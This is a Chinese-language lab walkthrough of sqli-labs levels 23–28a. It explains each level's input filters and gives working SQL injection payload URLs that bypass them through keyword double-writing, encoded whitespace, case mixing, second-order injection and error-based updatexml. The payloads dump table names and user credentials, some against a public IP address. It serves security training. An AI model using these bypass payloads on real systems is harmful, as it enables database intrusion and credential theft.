sqli-labs通关笔记(less23-less28a)

文章目录

  • less-23
  • less-24
  • less-25
  • less-25a
  • less-26
  • less-26a
  • less-27
  • less-27a
  • less-28
  • less-28a

less-23

一、注释符

注释符的作用:用于标记某段代码的作用,起到对代码功能的说明作用。但是注释掉的内容不会被执行。

Mysql中的注释符:
1、单行注释: --+ 或 --空格 或 #
2、多行注释: /* 多行注释内容 */

对于正常的SQL语句中,注释符起到说明作用的功能。但是对于在利用SQL注入漏洞过程中,注释符起到闭合单引号、多单引号、双引号、单括号、多括号的功能。

二、去除注释符的代码分析

sqli-labs通关笔记(less23-less28a)_第1张图片preg_replace(mixed $pattern , mixed $replacement , mixed $subject):

执行一个正则表达式的搜索和替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组
$replacement:用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。

三、 绕过去除注释符的SQL注入

利用注释符别过滤不能成功闭合单引号等,换一种思路 利用 or ‘1’='1闭合单引号等。

payload:

//爆库:
http://127.0.0.1/sqli/Less-23/?id=-1'union select 1,database(),'3

//爆表:
http://127.0.0.1/sqli/Less-23/?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3

//爆列:
http://127.0.0.1/sqli/Less-23/?id=-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_name='users') ,'3

//爆内容:
http://127.0.0.1/sqli/Less-23/?id=-1' union select 1, (select group_concat(username,0x3a,password)  from users) ,'3

less-24

二次注入

二次排序注入也成为存储型的注入,就是将可能导致sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发sql注入。

二次排序注入思路:

  1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交 HTTP 数据报文请求到服务 端进行处理,提交的数据报文请求中可能包含了黑客构造的 SQL 语句或者命令。
  2. 服务端应用程序会将黑客提交的数据信息进行存储, 通常是保存在数据库中, 保存的 数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响 应。
  3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
  4. 服务端接收到黑客提交的第二个请求信息后, 为了处理该请求, 服务端会查询数据库 中已经存储的数据信息并处理, 从而导致黑客在第一次请求中构造的 SQL 语句或者命令在服 务端环境中执行。
  5. 服务端返回执行的处理结果数据信息, 黑客可以通过返回的结果数据信息判断二次注 入漏洞利用是否成功。

二次注入代码分析sqli-labs通关笔记(less23-less28a)_第2张图片
sqli-labs通关笔记(less23-less28a)_第3张图片

源代码并没有过滤注释符,通过观察第二张图的更新语句发现我们可以在参数username中进行恶意构造,注释后面的相关语句,从而到达移花接木的目的。

三、实战
sqli-labs通关笔记(less23-less28a)_第4张图片

我们先注册一个用户名为admin’#的账户,在我们更改密码的时候update语句的and password =’&curr_pass’被注释,我们就可以任意更改已经存在的用户名为admin的用户的密码。
sqli-labs通关笔记(less23-less28a)_第5张图片 我们对admin’#账户执行更新密码操作,将密码更新为abc123
发现admin用户的密码被更改为了abc123

四、危害

1、注入Payload触发二次SQL注入
2、注入Payload触发XSS攻击。

less-25

一、一些知识

1、Mysql中的大小写不敏感,大写与小写一样。
2、Mysql 中的十六进制与URL编码都可以被识别。
3、符号和关键字替换 and = &&、or = ||。
4、内联注释与多行注释 /! 内联注释/ /多行注释/。

二、去除and和or的代码分析

preg_replace(mixed $pattern , mixed $replacement , mixed $subject):

执行一个正则表达式的搜索和替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组
$replacement:用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。

三、绕过策略

1、大小写变形,Or,OR,oR,OR,And,ANd,aND等 --代码中大小写不敏感 都被剔除
2、在这两个敏感词汇中添加注释,例如:a/**/nd 双写绕过 oorr
3、利用符号替代————and --&& or–||
4、编码

四、实战(报错注入)
payload:

//爆库:
http://127.0.0.1/sqli/Less-25/?id=1' anandd updatexml(1,concat(0x7e,database(),0x7e),1) --+

//爆表:
http://127.0.0.1/sqli/Less-25/?id=1' anandd updatexml(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),0x7e),1) --+

//爆列:
http://127.0.0.1/sqli/Less-25/?id=1' anandd  updatexml(1,concat(0x7e,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='users'),0x7e),1) --+

//爆内容
http://127.0.0.1/sqli/Less-25/?id=1' anandd  and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+
http://127.0.0.1/sqli/Less-25/?id=1' anandd  and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+

less-25a

和less-25基本相同,只是不再显示报错,没法用报错注入,我们用联合注入,且参数为数字型,不需要闭合。

payload:

//爆库:
http://127.0.0.1/sqli/Less-25a/?id=-1 union select 1,database(),3 --+

//表:
http://127.0.0.1/sqli/Less-25a/?id=-1 union select 1,2,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security')--+

//爆列:
http://127.0.0.1/sqli/Less-25a/?id=-1 union select 1,2, group_concat(column_name) from infoorrmation_schema.columns where table_name='users' --+

//爆内容:
http://127.0.0.1/sqli/Less-25a/?id=-1 union select 1,2, group_concat(username,0x3a,passwoorrd)  from users --+

less-26

这里过滤的东西就比较多了,除了之前的关键字还过滤了注释符与关键字。对于空格,我们常见的绕过方式就是多行注释,但这里/**/被过滤了行不通;对于注释符被过滤了我们只能构造一个’来闭合到后面的参数;对于空格有较多的方法,我们有很多的特殊字符可以代替空格,具体如下:

%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格

对于and、or的过滤不再赘述,参考less-25
注:本关可能有的朋友在windows下无法使用一些特殊的字符代替空格,此处是因为apache的解析的问题,这里请更换到Linux平台下。

下面给出一个最简单的
payload:

http://127.0.0.1/sqllib/Less-26/?id=1'%a0oorr'1
//'%a0oorr'1中的第一个'用来闭合id='$id'中的',而%a0是空格的意思,oorr是为了绕过or的过滤,最后的'1是为了闭合后面的'

(ps:此处我的环境是ubuntu14.04+apache+mysql+php,可以解析%a0,此前在windows+wamp测试,不能解析%a0,有知情的请告知。对于%0b也是经过测试可以替换空格的。对于其他上述所列的是没有通过测试的。在利用or和and的替换符号的时候在hackbar中输入&&时,是需要URL编码为%26%26否则会报错,对于||则不用编码,我也不知道为什么…)

payload:

//爆库:
http://127.0.0.1/sqli/Less-26/?id=0'union%a0select%a01,database(),3%26%26'1'='1

//爆表:
http://127.0.0.1/sqli/Less-26/?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%26%26%a0'1%27='1

//爆列:
http://127.0.0.1/sqli/Less-26/?id=0%27%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%0b%26%26%0b'1'='1

//爆内容:
http://127.0.0.1/sqli/Less-26/?id=0%27%a0union%a0select%a01,group_concat(username,passwoorrd),3%a0from%a0users%a0where%a0'1%27='1
//这里不同的是后面多了where '1'='1,是为了让语句变成无约束查询,解释见:https://www.jb51.net/article/38062.htm

less-26a

与less-26基本相同,只不过闭合方式变为(’’)

payload:

//爆库:
http://127.0.0.1/sqli/Less-26a/?id=0')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1

//爆表:
http://127.0.0.1/sqli/Less-26a/?id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1

//爆列:
http://127.0.0.1/sqli/Less-26a/?id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1

//爆内容:
http://127.0.0.1/sqli/Less-26a/?id=0')%0bunion%0bselect%0b1,group_concat(passwoorrd,username),3%0bfrom%0busers%0bwhere%0b('1')=('1

less-27

更过分了union select都给过滤了,但是用大小写混淆就能通过了。

注:

/s与/m为正则表达式的模式修正符。

/s是将字符串视为单行,换行符作为普通字符。如果设定了此修正符,模式中的圆点元字符(.)匹配所有的字符,包括换行符。没有此设定的话,则不包括换行符。

/m是将字符串视为多行。当设定了此修正符,“行起始:^”和“行结束:$”除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前。如果目标字符串中没有“\n”字符或者模式中没有 ^ 或 $,则设定此修正符没有任何效果。

payload:

//爆库:
http://127.0.0.1/sqli/Less-27/?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1

//爆表:
http://127.0.0.1/sqli/Less-27/?id=0'%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0'1'='1

//爆列:
http://127.0.0.1/sqli/Less-27/?id=0'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%a0%26%26%a0'1'='1

//爆内容:
http://127.0.0.1/sqli/Less-27/?id=0'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,'3

less-27a

""闭合的盲注

payload:

//求库名长度:
http://43.247.91.228:84/Less-27a/?id=1"and(length(database())>7)%a0uNion%a0sELect%a01,2,"3
http://43.247.91.228:84/Less-27a/?id=1"and(length(database())>8)%a0uNion%a0sELect%a01,2,"3  
//成功回显

//爆库:
http://43.247.91.228:84/Less-27a/?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),"3

//爆表:
http://43.247.91.228:84/Less-27a/?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0"1"%a0="1
//查表名需要闭合后面双引号我就用"1"="1来闭合,前面还需要&&%26%26)并一起,要不然会显示不出来,这个我经常忘记,没有就会出现这种情况

//爆列:
http://43.247.91.228:84/Less-27a/?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%26%26%a0"1"%a0="1

//爆内容:
http://43.247.91.228:84/Less-27a/?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,"3"="3
或:
http://43.247.91.228:84/Less-27a/?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0where%a0"1"="1
// 注意这里需要把&&给去掉,我也是经常忘记

less-28

没有过滤or与and。
过滤了相连的union和select,/i同时匹配大小写,\s匹配任意空白字符如制表符、换行符、空格等,使用%a0可以绕过。
过滤了–、#以及/**/。
过滤了两次空格。
过滤了/但没过滤\。
这关没有报错回显,可以明注、盲注。

直接明注即可:
payload:

//爆库:
http://43.247.91.228:84/Less-28/?id=0')%0buniOn%0bsElEct%0b1,database(),3%0bor%0b('1')=('1

//爆表:
http://43.247.91.228:84/Less-28/?id=0')%0buniOn%0bsElEct%0b1,(group_concat(table_name)),3%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema='security'%0b%26%26%0b('1')=('1

//爆列:
http://43.247.91.228:84/Less-28/?id=0')%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%0bAnd%0btable_name='users'%0b%26%26%0b('1')=('1

//爆内容:
http://43.247.91.228:84/Less-28/?id=0')%0buniOn%0bsElEct%0b1,(group_concat(username,0x7e,password)),3%0bfrom%0busers%0bwhere%0b('1')=('1

less-28a

过滤or、and
过滤–、#、/**/
过滤/、\
过滤空格两次
过滤union、select同时匹配大小写
过滤union且空白字符连接select同时匹配大小写
基本上过滤了所有字符,但是,所有的一次性过滤都能用双写绕过!除非循环过滤。

和less-28基本没有区别…闭合方式都没改变
payload:

//爆库:
http://43.247.91.228:84/Less-28a/?id=0')%0buniOn%0bsElEct%0b1,database(),3%0bor%0b('1')=('1

//爆表:
http://43.247.91.228:84/Less-28a/?id=0')%0buniOn%0bsElEct%0b1,(group_concat(table_name)),3%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema='security'%0b%26%26%0b('1')=('1

//爆列:
http://43.247.91.228:84/Less-28a/?id=0')%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%0bAnd%0btable_name='users'%0b%26%26%0b('1')=('1

//爆内容:
http://43.247.91.228:84/Less-28a/?id=0')%0buniOn%0bsElEct%0b1,(group_concat(username,0x7e,password)),3%0bfrom%0busers%0bwhere%0b('1')=('1

你可能感兴趣的:(sql注入)